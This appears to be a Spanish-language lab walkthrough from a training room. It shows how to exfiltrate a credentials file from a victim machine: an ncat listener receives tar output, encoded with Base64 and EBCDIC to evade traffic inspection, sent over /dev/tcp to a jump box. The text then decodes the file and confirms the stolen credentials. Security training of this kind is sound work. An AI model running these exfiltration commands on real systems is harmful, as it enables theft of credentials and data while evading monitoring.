Usando ncat y tar

Escuchando en el puerto TCP/8080 en el JumpBox

thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
Listening on [0.0.0.0] (family 0, port 8080)

Comprobando el archivo creds.txt en la máquina víctima

thm@victim1:~$ cat task4/creds.txt
admin:password
Admin:123456
root:toor

Ahora que tenemos el archivo de texto de credenciales, usaremos el socket TCP para extraerlo. Asegúrese de que el oyente se esté ejecutando en Jump-Box .

¡ Exfiltre datos a través del socket TCP de la máquina víctima!

thm@victim1:$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
0+1 records in
0+1 records out
260 bytes copied, 9.8717e-05 s, 2.6 MB/s

Analicemos el comando anterior y expliquemos :

  1. Usamos el comando tar para crear un archivo con los argumentos zcf del contenido del directorio secreto.

  2. La z es para usar gzip para comprimir la carpeta seleccionada, la c es para crear un nuevo archivo y la f es para usar un archivo comprimido.

  3. Luego pasamos el archivo tar creado al comando base64 para convertirlo a una representación base64.

  4. Luego, pasamos el resultado del comando base64 para crear y copiar un archivo de respaldo con el comando dd usando datos de codificación EBCDIC.

  5. Finalmente, redirigimos la salida del comando dd para transferirla usando el socket TCP en la IP y el puerto especificados, que en este caso, el puerto 8080 .

Tenga en cuenta que utilizamos la codificación Base64 y EBCDIC para proteger los datos durante la exfiltración. Si alguien inspecciona el tráfico, estará en un formato no legible para humanos y no revelará el tipo de archivo transmitido.

Una vez que presionemos Enter, deberíamos recibir los datos codificados en el directorio /tmp/ .

Comprobación de los datos recibidos en el JumpBox

thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 192.168.0.101 received!

thm@jump-box$ ls -l /tmp/
-rw-r--r-- 1 root root       240 Apr  8 11:37 task4-creds.data

En Jump-Box, necesitamos convertir los datos recibidos a su estado original. Usaremos la herramienta dd para volver a convertirlo.

Restaurando el archivo tar

thm@jump-box$ cd /tmp/
thm@jump-box:/tmp/$ dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
0+1 records in
0+1 records out
260 bytes transferred in 0.000321 secs (810192 bytes/sec)

La siguiente es la explicación del comando anterior:

  1. Usamos el comando dd para convertir el archivo recibido a representación ASCII . Usamos task4-creds.data como entrada para el comando dd .

  2. La salida del comando dd se pasará a base64 para decodificarla usando el argumento -d .

  3. Finalmente, guardamos el resultado en el archivo task4-creds.tar .

A continuación, debemos usar el comando tar para descomprimir el archivo task4-creds.tar y verificar el contenido de la siguiente manera:

Descomprimiendo el archivo tar

thm@jump-box$ tar xvf task4-creds.tar
task4/ 
task4/creds.txt

Analicemos el comando anterior y expliquemos :

  1. Usamos el comando tar para descomprimir el archivo con los argumentos xvf .

  2. La x es para extraer el archivo tar, la v para enumerar archivos detalladamente y la f es para usar un archivo comprimido.

Ahora confirmemos que tenemos los mismos datos de la máquina víctima.

Confirmando los datos recibidos.

thm@jump-box$ cat task4/creds.txt
admin:password
Admin:123456
root:toor

Last updated